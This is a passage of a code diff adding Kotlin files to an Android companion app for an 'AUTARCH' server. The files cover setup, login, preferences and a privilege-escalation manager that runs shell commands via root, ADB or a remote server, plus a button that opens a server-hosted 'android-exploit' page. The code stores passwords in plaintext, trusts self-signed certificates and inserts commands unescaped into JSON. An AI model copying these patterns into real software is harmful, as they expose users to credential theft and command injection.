override fun onDiscoveryStopped(method: DiscoveryManager.ConnectionMethod) {
|
||||
if (discovery.getDiscoveredServers().isEmpty()) {
|
||||
handler.post {
|
||||
statusText.text = "No AUTARCH server found on network.\nCheck that the server is running and on the same network."
|
||||
btn.isEnabled = true
|
||||
btn.text = "AUTO-DETECT SERVER"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
override fun onDiscoveryError(method: DiscoveryManager.ConnectionMethod, error: String) {}
|
||||
}
|
||||
discovery.startDiscovery()
|
||||
}
|
||||
|
||||
private fun testConnection() {
|
||||
val serverIp = inputServerIp.text.toString().trim()
|
||||
val webPort = inputWebPort.text.toString().trim().toIntOrNull() ?: 8181
|
||||
|
||||
if (serverIp.isEmpty()) {
|
||||
statusText.text = "Error: Enter a server IP first"
|
||||
return
|
||||
}
|
||||
|
||||
if (!isValidIpOrHostname(serverIp)) {
|
||||
statusText.text = "Error: Invalid IP address"
|
||||
return
|
||||
}
|
||||
|
||||
statusText.text = "Testing connection to $serverIp..."
|
||||
|
||||
Thread {
|
||||
// Ping test
|
||||
val pingResult = ShellExecutor.execute("ping -c 1 -W 3 $serverIp")
|
||||
val pingOk = pingResult.exitCode == 0
|
||||
|
||||
// HTTPS test — probe root endpoint
|
||||
val httpOk = try {
|
||||
val url = java.net.URL("https://$serverIp:$webPort/")
|
||||
val conn = url.openConnection() as java.net.HttpURLConnection
|
||||
SslHelper.trustSelfSigned(conn)
|
||||
conn.connectTimeout = 5000
|
||||
conn.readTimeout = 5000
|
||||
conn.requestMethod = "GET"
|
||||
val code = conn.responseCode
|
||||
conn.disconnect()
|
||||
code in 200..399
|
||||
} catch (e: Exception) {
|
||||
false
|
||||
}
|
||||
|
||||
handler.post {
|
||||
val status = StringBuilder()
|
||||
status.append("Ping: ${if (pingOk) "OK" else "FAILED"}\n")
|
||||
status.append("HTTPS ($webPort): ${if (httpOk) "OK" else "FAILED"}")
|
||||
if (!pingOk && !httpOk) {
|
||||
status.append("\n\nServer unreachable. Check WireGuard tunnel and IP.")
|
||||
} else if (pingOk && !httpOk) {
|
||||
status.append("\n\nHost reachable but web UI not responding on port $webPort.")
|
||||
}
|
||||
statusText.text = status.toString()
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,293 @@
|
||||
package com.darkhal.archon.ui
|
||||
|
||||
import android.Manifest
|
||||
import android.content.ClipData
|
||||
import android.content.ClipboardManager
|
||||
import android.content.Context
|
||||
import android.content.Intent
|
||||
import android.content.pm.PackageManager
|
||||
import android.graphics.Color
|
||||
import android.graphics.drawable.GradientDrawable
|
||||
import android.net.Uri
|
||||
import android.os.Build
|
||||
import android.os.Bundle
|
||||
import android.os.Handler
|
||||
import android.os.Looper
|
||||
import android.view.LayoutInflater
|
||||
import android.view.View
|
||||
import android.view.ViewGroup
|
||||
import android.widget.TextView
|
||||
import android.widget.Toast
|
||||
import androidx.activity.result.contract.ActivityResultContracts
|
||||
import androidx.core.content.ContextCompat
|
||||
import androidx.fragment.app.Fragment
|
||||
import com.darkhal.archon.R
|
||||
import com.darkhal.archon.server.ArchonClient
|
||||
import com.darkhal.archon.service.LocalAdbClient
|
||||
import com.darkhal.archon.service.PairingReceiver
|
||||
import com.darkhal.archon.util.PrefsManager
|
||||
import com.darkhal.archon.util.PrivilegeManager
|
||||
import com.darkhal.archon.util.ShellExecutor
|
||||
import com.google.android.material.button.MaterialButton
|
||||
|
||||
class SetupFragment : Fragment() {
|
||||
|
||||
private lateinit var privilegeStatusDot: View
|
||||
private lateinit var privilegeStatusText: TextView
|
||||
private lateinit var btnStartPairing: MaterialButton
|
||||
private lateinit var localAdbStatus: TextView
|
||||
private lateinit var archonServerStatusDot: View
|
||||
private lateinit var archonServerStatus: TextView
|
||||
private lateinit var btnStartArchonServer: MaterialButton
|
||||
private lateinit var btnStopArchonServer: MaterialButton
|
||||
private lateinit var btnShowCommand: MaterialButton
|
||||
private lateinit var serverAdbStatus: TextView
|
||||
private lateinit var btnBootstrapUsb: MaterialButton
|
||||
private lateinit var rootStatus: TextView
|
||||
private lateinit var btnCheckRoot: MaterialButton
|
||||
private lateinit var btnRootExploit: MaterialButton
|
||||
private lateinit var outputLog: TextView
|
||||
|
||||
private val handler = Handler(Looper.getMainLooper())
|
||||
|
||||
// Notification permission request (Android 13+)
|
||||
private val notificationPermissionLauncher = registerForActivityResult(
|
||||
ActivityResultContracts.RequestPermission()
|
||||
) { granted ->
|
||||
if (granted) {
|
||||
startPairingNotification()
|
||||
} else {
|
||||
appendLog("Notification permission denied — cannot show pairing notification")
|
||||
appendLog("Grant notification permission in app settings")
|
||||
}
|
||||
}
|
||||
|
||||
override fun onCreateView(
|
||||
inflater: LayoutInflater,
|
||||
container: ViewGroup?,
|
||||
savedInstanceState: Bundle?
|
||||
): View {
|
||||
return inflater.inflate(R.layout.fragment_setup, container, false)
|
||||
}
|
||||
|
||||
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
|
||||
super.onViewCreated(view, savedInstanceState)
|
||||
|
||||
// Bind views
|
||||
privilegeStatusDot = view.findViewById(R.id.privilege_status_dot)
|
||||
privilegeStatusText = view.findViewById(R.id.privilege_status_text)
|
||||
btnStartPairing = view.findViewById(R.id.btn_start_pairing)
|
||||
localAdbStatus = view.findViewById(R.id.local_adb_status)
|
||||
archonServerStatusDot = view.findViewById(R.id.archon_server_status_dot)
|
||||
archonServerStatus = view.findViewById(R.id.archon_server_status)
|
||||
btnStartArchonServer = view.findViewById(R.id.btn_start_archon_server)
|
||||
btnStopArchonServer = view.findViewById(R.id.btn_stop_archon_server)
|
||||
btnShowCommand = view.findViewById(R.id.btn_show_command)
|
||||
serverAdbStatus = view.findViewById(R.id.server_adb_status)
|
||||
btnBootstrapUsb = view.findViewById(R.id.btn_bootstrap_usb)
|
||||
rootStatus = view.findViewById(R.id.root_status)
|
||||
btnCheckRoot = view.findViewById(R.id.btn_check_root)
|
||||
btnRootExploit = view.findViewById(R.id.btn_root_exploit)
|
||||
outputLog = view.findViewById(R.id.setup_output_log)
|
||||
|
||||
setupListeners()
|
||||
initializeStatus()
|
||||
}
|
||||
|
||||
private fun setupListeners() {
|
||||
// ── Wireless Debugging (Shizuku-style notification) ──
|
||||
btnStartPairing.setOnClickListener {
|
||||
// Check notification permission for Android 13+
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
|
||||
if (ContextCompat.checkSelfPermission(
|
||||
requireContext(), Manifest.permission.POST_NOTIFICATIONS
|
||||
) != PackageManager.PERMISSION_GRANTED
|
||||
) {
|
||||
notificationPermissionLauncher.launch(Manifest.permission.POST_NOTIFICATIONS)
|
||||
return@setOnClickListener
|
||||
}
|
||||
}
|
||||
startPairingNotification()
|
||||
}
|
||||
|
||||
// ── Archon Server ──
|
||||
btnStartArchonServer.setOnClickListener {
|
||||
btnStartArchonServer.isEnabled = false
|
||||
appendLog("Starting Archon Server...")
|
||||
|
||||
Thread {
|
||||
val result = ArchonClient.startServer(requireContext())
|
||||
handler.post {
|
||||
btnStartArchonServer.isEnabled = true
|
||||
appendLog(result.message)
|
||||
updateArchonServerStatus()
|
||||
if (result.success) {
|
||||
PrivilegeManager.refreshMethod()
|
||||
updatePrivilegeStatus()
|
||||
}
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
btnStopArchonServer.setOnClickListener {
|
||||
appendLog("Stopping Archon Server...")
|
||||
Thread {
|
||||
val stopped = ArchonClient.stopServer(requireContext())
|
||||
handler.post {
|
||||
appendLog(if (stopped) "Server stopped" else "Failed to stop server")
|
||||
updateArchonServerStatus()
|
||||
PrivilegeManager.refreshMethod()
|
||||
updatePrivilegeStatus()
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
btnShowCommand.setOnClickListener {
|
||||
val cmd = ArchonClient.getBootstrapCommand(requireContext())
|
||||
appendLog("ADB command to start Archon Server:")
|
||||
appendLog("adb shell \"$cmd\"")
|
||||
|
||||
// Copy to clipboard
|
||||
val clipboard = requireContext().getSystemService(Context.CLIPBOARD_SERVICE) as ClipboardManager
|
||||
clipboard.setPrimaryClip(ClipData.newPlainText("Archon Bootstrap", "adb shell \"$cmd\""))
|
||||
Toast.makeText(requireContext(), "Command copied to clipboard", Toast.LENGTH_SHORT).show()
|
||||
}
|
||||
|
||||
// ── USB via AUTARCH ──
|
||||
btnBootstrapUsb.setOnClickListener {
|
||||
val serverIp = PrefsManager.getServerIp(requireContext())
|
||||
val serverPort = PrefsManager.getWebPort(requireContext())
|
||||
|
||||
if (serverIp.isEmpty()) {
|
||||
appendLog("Server not configured — set IP in Settings tab or use SCAN on Dashboard")
|
||||
return@setOnClickListener
|
||||
}
|
||||
|
||||
btnBootstrapUsb.isEnabled = false
|
||||
appendLog("Bootstrapping via AUTARCH USB ADB ($serverIp:$serverPort)...")
|
||||
|
||||
Thread {
|
||||
val result = ArchonClient.startServer(requireContext())
|
||||
handler.post {
|
||||
btnBootstrapUsb.isEnabled = true
|
||||
appendLog(result.message)
|
||||
if (result.success) {
|
||||
updateArchonServerStatus()
|
||||
PrivilegeManager.refreshMethod()
|
||||
updatePrivilegeStatus()
|
||||
}
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
// ── Root ──
|
||||
btnCheckRoot.setOnClickListener {
|
||||
appendLog("Checking root access...")
|
||||
Thread {
|
||||
val hasRoot = ShellExecutor.isRootAvailable()
|
||||
handler.post {
|
||||
rootStatus.text = if (hasRoot) "Status: rooted" else "Status: not rooted"
|
||||
appendLog(if (hasRoot) "Root access available" else "Device is not rooted")
|
||||
if (hasRoot) {
|
||||
PrivilegeManager.refreshMethod()
|
||||
updatePrivilegeStatus()
|
||||
}
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
btnRootExploit.setOnClickListener {
|
||||
val serverIp = PrefsManager.getServerIp(requireContext())
|
||||
val serverPort = PrefsManager.getWebPort(requireContext())
|
||||
if (serverIp.isEmpty()) {
|
||||
appendLog("Server not configured — set IP in Settings tab")
|
||||
return@setOnClickListener
|
||||
}
|
||||
val url = "https://$serverIp:$serverPort/android-exploit"
|
||||
try {
|
||||
startActivity(Intent(Intent.ACTION_VIEW, Uri.parse(url)))
|
||||
appendLog("Opened exploit page in browser")
|
||||
} catch (e: Exception) {
|
||||
appendLog("Could not open browser: ${e.message}")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private fun startPairingNotification() {
|
||||
appendLog("Showing pairing notification...")
|
||||
appendLog("Now open Developer Options > Wireless Debugging > Pair with code")
|
||||
appendLog("Enter the 6-digit code in the notification")
|
||||
PairingReceiver.showPairingNotification(requireContext())
|
||||
localAdbStatus.text = "Status: waiting for pairing code in notification..."
|
||||
}
|
||||
|
||||
private fun initializeStatus() {
|
||||
appendLog("Checking available privilege methods...")
|
||||
|
||||
val ctx = requireContext()
|
||||
PrivilegeManager.init(
|
||||
ctx,
|
||||
PrefsManager.getServerIp(ctx),
|
||||
PrefsManager.getWebPort(ctx)
|
||||
)
|
||||
|
||||
Thread {
|
||||
val hasRoot = ShellExecutor.isRootAvailable()
|
||||
val method = PrivilegeManager.refreshMethod()
|
||||
|
||||
handler.post {
|
||||
rootStatus.text = if (hasRoot) "Status: rooted" else "Status: not rooted"
|
||||
localAdbStatus.text = "Status: ${LocalAdbClient.getStatusString(requireContext())}"
|
||||
|
||||
val serverIp = PrefsManager.getServerIp(ctx)
|
||||
serverAdbStatus.text = if (serverIp.isNotEmpty()) {
|
||||
"Server: $serverIp:${PrefsManager.getWebPort(ctx)}"
|
||||
} else {
|
||||
"Server: not configured — set IP in Settings or SCAN on Dashboard"
|
||||
}
|
||||
|
||||
updateArchonServerStatus()
|
||||
updatePrivilegeStatus()
|
||||
appendLog("Best method: ${method.label}")
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
private fun updatePrivilegeStatus() {
|
||||
val method = PrivilegeManager.getAvailableMethod()
|
||||
val isReady = method != PrivilegeManager.Method.NONE
|
||||
|
||||
setStatusDot(privilegeStatusDot, isReady)
|
||||
privilegeStatusText.text = "Privilege: ${method.label}"
|
||||
}
|
||||
|
||||
private fun updateArchonServerStatus() {
|
||||
Thread {
|
||||
val running = ArchonClient.isServerRunning(requireContext())
|
||||
val info = if (running) ArchonClient.getServerInfo(requireContext()) else null
|
||||
|
||||
handler.post {
|
||||
setStatusDot(archonServerStatusDot, running)
|
||||
archonServerStatus.text = if (running) {
|
||||
"Status: Running ($info)"
|
||||
} else {
|
||||
"Status: Not running"
|
||||
}
|
||||
btnStopArchonServer.isEnabled = running
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
private fun setStatusDot(dot: View, online: Boolean) {
|
||||
val drawable = GradientDrawable()
|
||||
drawable.shape = GradientDrawable.OVAL
|
||||
drawable.setColor(if (online) Color.parseColor("#00FF41") else Color.parseColor("#666666"))
|
||||
dot.background = drawable
|
||||
}
|
||||
|
||||
private fun appendLog(msg: String) {
|
||||
val current = outputLog.text.toString()
|
||||
val lines = current.split("\n").takeLast(25)
|
||||
outputLog.text = (lines + "> $msg").joinToString("\n")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,209 @@
|
||||
package com.darkhal.archon.util
|
||||
|
||||
import android.content.Context
|
||||
import android.util.Log
|
||||
import java.net.CookieManager
|
||||
import java.net.CookiePolicy
|
||||
import java.net.HttpURLConnection
|
||||
import java.net.URL
|
||||
|
||||
/**
|
||||
* Manages authentication with the AUTARCH web server.
|
||||
*
|
||||
* Handles login via JSON API, cookie storage, and attaching
|
||||
* the session cookie to all outbound HTTP requests.
|
||||
*/
|
||||
object AuthManager {
|
||||
|
||||
private const val TAG = "AuthManager"
|
||||
private const val PREFS_NAME = "archon_auth"
|
||||
private const val KEY_USERNAME = "username"
|
||||
private const val KEY_PASSWORD = "password"
|
||||
private const val KEY_SESSION_COOKIE = "session_cookie"
|
||||
private const val KEY_LOGGED_IN = "logged_in"
|
||||
|
||||
@Volatile
|
||||
private var sessionCookie: String? = null
|
||||
|
||||
/**
|
||||
* Log in to the AUTARCH web server.
|
||||
* Returns true on success. Stores the session cookie.
|
||||
*/
|
||||
fun login(context: Context, username: String, password: String): LoginResult {
|
||||
val baseUrl = PrefsManager.getAutarchBaseUrl(context)
|
||||
if (baseUrl.contains("://:" ) || baseUrl.endsWith("://")) {
|
||||
return LoginResult(false, "No server IP configured")
|
||||
}
|
||||
|
||||
return try {
|
||||
val url = URL("$baseUrl/api/login")
|
||||
val conn = url.openConnection() as HttpURLConnection
|
||||
SslHelper.trustSelfSigned(conn)
|
||||
conn.connectTimeout = 5000
|
||||
conn.readTimeout = 10000
|
||||
conn.requestMethod = "POST"
|
||||
conn.setRequestProperty("Content-Type", "application/json")
|
||||
conn.doOutput = true
|
||||
|
||||
val payload = """{"username":"${escapeJson(username)}","password":"${escapeJson(password)}"}"""
|
||||
conn.outputStream.write(payload.toByteArray())
|
||||
|
||||
val code = conn.responseCode
|
||||
val body = if (code in 200..299) {
|
||||
conn.inputStream.bufferedReader().readText()
|
||||
} else {
|
||||
conn.errorStream?.bufferedReader()?.readText() ?: "HTTP $code"
|
||||
}
|
||||
|
||||
// Extract Set-Cookie header
|
||||
val cookie = conn.getHeaderField("Set-Cookie")
|
||||
conn.disconnect()
|
||||
|
||||
if (code == 200 && body.contains("\"ok\":true")) {
|
||||
// Store credentials and cookie
|
||||
sessionCookie = cookie
|
||||
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
prefs.edit()
|
||||
.putString(KEY_USERNAME, username)
|
||||
.putString(KEY_PASSWORD, password)
|
||||
.putString(KEY_SESSION_COOKIE, cookie ?: "")
|
||||
.putBoolean(KEY_LOGGED_IN, true)
|
||||
.apply()
|
||||
|
||||
Log.i(TAG, "Login successful for $username")
|
||||
LoginResult(true, "Logged in as $username")
|
||||
} else {
|
||||
Log.w(TAG, "Login failed: HTTP $code - $body")
|
||||
LoginResult(false, "Invalid credentials")
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Login error", e)
|
||||
LoginResult(false, "Connection error: ${e.message}")
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if we have stored credentials and a valid session.
|
||||
*/
|
||||
fun isLoggedIn(context: Context): Boolean {
|
||||
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
return prefs.getBoolean(KEY_LOGGED_IN, false) &&
|
||||
prefs.getString(KEY_USERNAME, null) != null
|
||||
}
|
||||
|
||||
/**
|
||||
* Get stored username.
|
||||
*/
|
||||
fun getUsername(context: Context): String {
|
||||
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
return prefs.getString(KEY_USERNAME, "") ?: ""
|
||||
}
|
||||
|
||||
/**
|
||||
* Get stored password.
|
||||
*/
|
||||
fun getPassword(context: Context): String {
|
||||
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
return prefs.getString(KEY_PASSWORD, "") ?: ""
|
||||
}
|
||||
|
||||
/**
|
||||
* Re-login using stored credentials (refreshes session cookie).
|
||||
*/
|
||||
fun refreshSession(context: Context): Boolean {
|
||||
val username = getUsername(context)
|
||||
val password = getPassword(context)
|
||||
if (username.isEmpty() || password.isEmpty()) return false
|
||||
return login(context, username, password).success
|
||||
}
|
||||
|
||||
/**
|
||||
* Attach the session cookie to an HttpURLConnection.
|
||||
* Call this before sending any request to the AUTARCH server.
|
||||
*/
|
||||
fun attachSession(context: Context, conn: HttpURLConnection) {
|
||||
val cookie = sessionCookie ?: run {
|
||||
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
prefs.getString(KEY_SESSION_COOKIE, null)
|
||||
}
|
||||
if (cookie != null) {
|
||||
conn.setRequestProperty("Cookie", cookie)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Make an authenticated POST request to the AUTARCH server.
|
||||
* Handles cookie attachment and auto-refreshes session on 401.
|
||||
*/
|
||||
fun authenticatedPost(context: Context, path: String, jsonPayload: String): HttpResult {
|
||||
val baseUrl = PrefsManager.getAutarchBaseUrl(context)
|
||||
return try {
|
||||
var result = doPost(context, "$baseUrl$path", jsonPayload)
|
||||
|
||||
// If 401, try refreshing session once
|
||||
if (result.code == 401 || result.code == 302) {
|
||||
Log.i(TAG, "Session expired, refreshing...")
|
||||
if (refreshSession(context)) {
|
||||
result = doPost(context, "$baseUrl$path", jsonPayload)
|
||||
}
|
||||
}
|
||||
|
||||
result
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Authenticated POST failed", e)
|
||||
HttpResult(-1, "", "Connection error: ${e.message}")
|
||||
}
|
||||
}
|
||||
|
||||
private fun doPost(context: Context, urlStr: String, jsonPayload: String): HttpResult {
|
||||
val url = URL(urlStr)
|
||||
val conn = url.openConnection() as HttpURLConnection
|
||||
SslHelper.trustSelfSigned(conn)
|
||||
conn.connectTimeout = 5000
|
||||
conn.readTimeout = 15000
|
||||
conn.requestMethod = "POST"
|
||||
conn.setRequestProperty("Content-Type", "application/json")
|
||||
conn.instanceFollowRedirects = false
|
||||
conn.doOutput = true
|
||||
|
||||
attachSession(context, conn)
|
||||
|
||||
conn.outputStream.write(jsonPayload.toByteArray())
|
||||
|
||||
val code = conn.responseCode
|
||||
|
||||
// Capture new cookie if server rotates it
|
||||
val newCookie = conn.getHeaderField("Set-Cookie")
|
||||
if (newCookie != null) {
|
||||
sessionCookie = newCookie
|
||||
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
prefs.edit().putString(KEY_SESSION_COOKIE, newCookie).apply()
|
||||
}
|
||||
|
||||
val body = if (code in 200..299) {
|
||||
conn.inputStream.bufferedReader().readText()
|
||||
} else {
|
||||
conn.errorStream?.bufferedReader()?.readText() ?: "HTTP $code"
|
||||
}
|
||||
conn.disconnect()
|
||||
|
||||
return HttpResult(code, body, "")
|
||||
}
|
||||
|
||||
/**
|
||||
* Logout — clear stored credentials and cookie.
|
||||
*/
|
||||
fun logout(context: Context) {
|
||||
sessionCookie = null
|
||||
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
prefs.edit().clear().apply()
|
||||
Log.i(TAG, "Logged out")
|
||||
}
|
||||
|
||||
private fun escapeJson(s: String): String {
|
||||
return s.replace("\\", "\\\\").replace("\"", "\\\"").replace("\n", "\\n")
|
||||
}
|
||||
|
||||
data class LoginResult(val success: Boolean, val message: String)
|
||||
data class HttpResult(val code: Int, val body: String, val error: String)
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
package com.darkhal.archon.util
|
||||
|
||||
import android.content.Context
|
||||
import android.content.SharedPreferences
|
||||
|
||||
object PrefsManager {
|
||||
|
||||
private const val PREFS_NAME = "archon_prefs"
|
||||
|
||||
private const val KEY_SERVER_IP = "server_ip"
|
||||
private const val KEY_WEB_PORT = "web_port"
|
||||
private const val KEY_ADB_PORT = "adb_port"
|
||||
private const val KEY_USBIP_PORT = "usbip_port"
|
||||
private const val KEY_AUTO_RESTART_ADB = "auto_restart_adb"
|
||||
private const val KEY_BBS_ADDRESS = "bbs_address"
|
||||
|
||||
private const val DEFAULT_SERVER_IP = ""
|
||||
private const val DEFAULT_WEB_PORT = 8181
|
||||
private const val DEFAULT_ADB_PORT = 5555
|
||||
private const val DEFAULT_USBIP_PORT = 3240
|
||||
private const val DEFAULT_BBS_ADDRESS = ""
|
||||
|
||||
private fun prefs(context: Context): SharedPreferences {
|
||||
return context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
}
|
||||
|
||||
fun getServerIp(context: Context): String {
|
||||
return prefs(context).getString(KEY_SERVER_IP, DEFAULT_SERVER_IP) ?: DEFAULT_SERVER_IP
|
||||
}
|
||||
|
||||
fun setServerIp(context: Context, ip: String) {
|
||||
prefs(context).edit().putString(KEY_SERVER_IP, ip).apply()
|
||||
}
|
||||
|
||||
fun getWebPort(context: Context): Int {
|
||||
return prefs(context).getInt(KEY_WEB_PORT, DEFAULT_WEB_PORT)
|
||||
}
|
||||
|
||||
fun setWebPort(context: Context, port: Int) {
|
||||
prefs(context).edit().putInt(KEY_WEB_PORT, port).apply()
|
||||
}
|
||||
|
||||
fun getAdbPort(context: Context): Int {
|
||||
return prefs(context).getInt(KEY_ADB_PORT, DEFAULT_ADB_PORT)
|
||||
}
|
||||
|
||||
fun setAdbPort(context: Context, port: Int) {
|
||||
prefs(context).edit().putInt(KEY_ADB_PORT, port).apply()
|
||||
}
|
||||
|
||||
fun getUsbIpPort(context: Context): Int {
|
||||
return prefs(context).getInt(KEY_USBIP_PORT, DEFAULT_USBIP_PORT)
|
||||
}
|
||||
|
||||
fun setUsbIpPort(context: Context, port: Int) {
|
||||
prefs(context).edit().putInt(KEY_USBIP_PORT, port).apply()
|
||||
}
|
||||
|
||||
fun isAutoRestartAdb(context: Context): Boolean {
|
||||
return prefs(context).getBoolean(KEY_AUTO_RESTART_ADB, true)
|
||||
}
|
||||
|
||||
fun setAutoRestartAdb(context: Context, enabled: Boolean) {
|
||||
prefs(context).edit().putBoolean(KEY_AUTO_RESTART_ADB, enabled).apply()
|
||||
}
|
||||
|
||||
fun getBbsAddress(context: Context): String {
|
||||
return prefs(context).getString(KEY_BBS_ADDRESS, DEFAULT_BBS_ADDRESS) ?: DEFAULT_BBS_ADDRESS
|
||||
}
|
||||
|
||||
fun setBbsAddress(context: Context, address: String) {
|
||||
prefs(context).edit().putString(KEY_BBS_ADDRESS, address).apply()
|
||||
}
|
||||
|
||||
fun getAutarchBaseUrl(context: Context): String {
|
||||
val ip = getServerIp(context)
|
||||
val port = getWebPort(context)
|
||||
return "https://$ip:$port"
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,199 @@
|
||||
package com.darkhal.archon.util
|
||||
|
||||
import android.content.Context
|
||||
import android.util.Log
|
||||
import com.darkhal.archon.server.ArchonClient
|
||||
import com.darkhal.archon.service.LocalAdbClient
|
||||
import java.net.HttpURLConnection
|
||||
import java.net.URL
|
||||
|
||||
/**
|
||||
* Central privilege escalation chain manager.
|
||||
* Tries methods in order: ROOT → ARCHON_SERVER → LOCAL_ADB → SERVER_ADB → NONE
|
||||
*
|
||||
* ARCHON_SERVER is our own privileged process running at UID 2000 (shell level),
|
||||
* started via app_process through an ADB connection. It replaces Shizuku entirely.
|
||||
*/
|
||||
object PrivilegeManager {
|
||||
|
||||
private const val TAG = "PrivilegeManager"
|
||||
|
||||
enum class Method(val label: String) {
|
||||
ROOT("Root (su)"),
|
||||
ARCHON_SERVER("Archon Server"),
|
||||
LOCAL_ADB("Wireless ADB"),
|
||||
SERVER_ADB("Server ADB"),
|
||||
NONE("No privileges")
|
||||
}
|
||||
|
||||
private var cachedMethod: Method? = null
|
||||
private var serverIp: String = ""
|
||||
private var serverPort: Int = 8181
|
||||
private var appContext: Context? = null
|
||||
|
||||
/**
|
||||
* Initialize with app context and server connection info.
|
||||
*/
|
||||
fun init(context: Context, serverIp: String = "", serverPort: Int = 8181) {
|
||||
appContext = context.applicationContext
|
||||
this.serverIp = serverIp
|
||||
this.serverPort = serverPort
|
||||
cachedMethod = null
|
||||
}
|
||||
|
||||
/**
|
||||
* Update the AUTARCH server connection info.
|
||||
*/
|
||||
fun setServerConnection(ip: String, port: Int) {
|
||||
serverIp = ip
|
||||
serverPort = port
|
||||
if (cachedMethod == Method.SERVER_ADB || cachedMethod == Method.NONE) {
|
||||
cachedMethod = null
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Determine the best available privilege method.
|
||||
*/
|
||||
fun getAvailableMethod(): Method {
|
||||
cachedMethod?.let { return it }
|
||||
|
||||
val method = when {
|
||||
checkRoot() -> Method.ROOT
|
||||
checkArchonServer() -> Method.ARCHON_SERVER
|
||||
checkLocalAdb() -> Method.LOCAL_ADB
|
||||
checkServerAdb() -> Method.SERVER_ADB
|
||||
else -> Method.NONE
|
||||
}
|
||||
|
||||
cachedMethod = method
|
||||
Log.i(TAG, "Available method: ${method.name}")
|
||||
return method
|
||||
}
|
||||
|
||||
/**
|
||||
* Force a re-check of available methods.
|
||||
*/
|
||||
fun refreshMethod(): Method {
|
||||
cachedMethod = null
|
||||
return getAvailableMethod()
|
||||
}
|
||||
|
||||
fun isReady(): Boolean = getAvailableMethod() != Method.NONE
|
||||
|
||||
/**
|
||||
* Execute a command via the best available method.
|
||||
*/
|
||||
fun execute(command: String): ShellResult {
|
||||
return when (getAvailableMethod()) {
|
||||
Method.ROOT -> executeViaRoot(command)
|
||||
Method.ARCHON_SERVER -> executeViaArchonServer(command)
|
||||
Method.LOCAL_ADB -> executeViaLocalAdb(command)
|
||||
Method.SERVER_ADB -> executeViaServer(command)
|
||||
Method.NONE -> ShellResult("", "No privilege method available — run Setup first", -1)
|
||||
}
|
||||
}
|
||||
|
||||
fun getStatusDescription(): String {
|
||||
return when (getAvailableMethod()) {
|
||||
Method.ROOT -> "Connected via root shell"
|
||||
Method.ARCHON_SERVER -> "Connected via Archon Server (UID 2000)"
|
||||
Method.LOCAL_ADB -> "Connected via Wireless ADB"
|
||||
Method.SERVER_ADB -> "Connected via AUTARCH server ($serverIp)"
|
||||
Method.NONE -> "No privilege access — run Setup"
|
||||
}
|
||||
}
|
||||
|
||||
// ── Method checks ─────────────────────────────────────────────
|
||||
|
||||
private fun checkRoot(): Boolean {
|
||||
return ShellExecutor.isRootAvailable()
|
||||
}
|
||||
|
||||
private fun checkArchonServer(): Boolean {
|
||||
val ctx = appContext ?: return false
|
||||
return ArchonClient.isServerRunning(ctx)
|
||||
}
|
||||
|
||||
private fun checkLocalAdb(): Boolean {
|
||||
return LocalAdbClient.isConnected()
|
||||
}
|
||||
|
||||
private fun checkServerAdb(): Boolean {
|
||||
if (serverIp.isEmpty()) return false
|
||||
return try {
|
||||
val url = URL("https://$serverIp:$serverPort/hardware/status")
|
||||
val conn = url.openConnection() as HttpURLConnection
|
||||
SslHelper.trustSelfSigned(conn)
|
||||
conn.connectTimeout = 3000
|
||||
conn.readTimeout = 3000
|
||||
conn.requestMethod = "GET"
|
||||
val code = conn.responseCode
|
||||
conn.disconnect()
|
||||
code in 200..399
|
||||
} catch (e: Exception) {
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
// ── Execution backends ────────────────────────────────────────
|
||||
|
||||
private fun executeViaRoot(command: String): ShellResult {
|
||||
return ShellExecutor.executeAsRoot(command)
|
||||
}
|
||||
|
||||
private fun executeViaArchonServer(command: String): ShellResult {
|
||||
val ctx = appContext ?: return ShellResult("", "No app context", -1)
|
||||
return ArchonClient.execute(ctx, command)
|
||||
}
|
||||
|
||||
private fun executeViaLocalAdb(command: String): ShellResult {
|
||||
return LocalAdbClient.execute(command)
|
||||
}
|
||||
|
||||
private fun executeViaServer(command: String): ShellResult {
|
||||
if (serverIp.isEmpty()) {
|
||||
return ShellResult("", "Server not configured", -1)
|
||||
}
|
||||
|
||||
return try {
|
||||
val url = URL("https://$serverIp:$serverPort/hardware/adb/shell")
|
||||
val conn = url.openConnection() as HttpURLConnection
|
||||
SslHelper.trustSelfSigned(conn)
|
||||
conn.connectTimeout = 5000
|
||||
conn.readTimeout = 15000
|
||||
conn.requestMethod = "POST"
|
||||
conn.setRequestProperty("Content-Type", "application/json")
|
||||
conn.doOutput = true
|
||||
|
||||
val payload = """{"serial":"any","command":"$command"}"""
|
||||
conn.outputStream.write(payload.toByteArray())
|
||||
|
||||
val responseCode = conn.responseCode
|
||||
val response = if (responseCode in 200..299) {
|
||||
conn.inputStream.bufferedReader().readText()
|
||||
} else {
|
||||
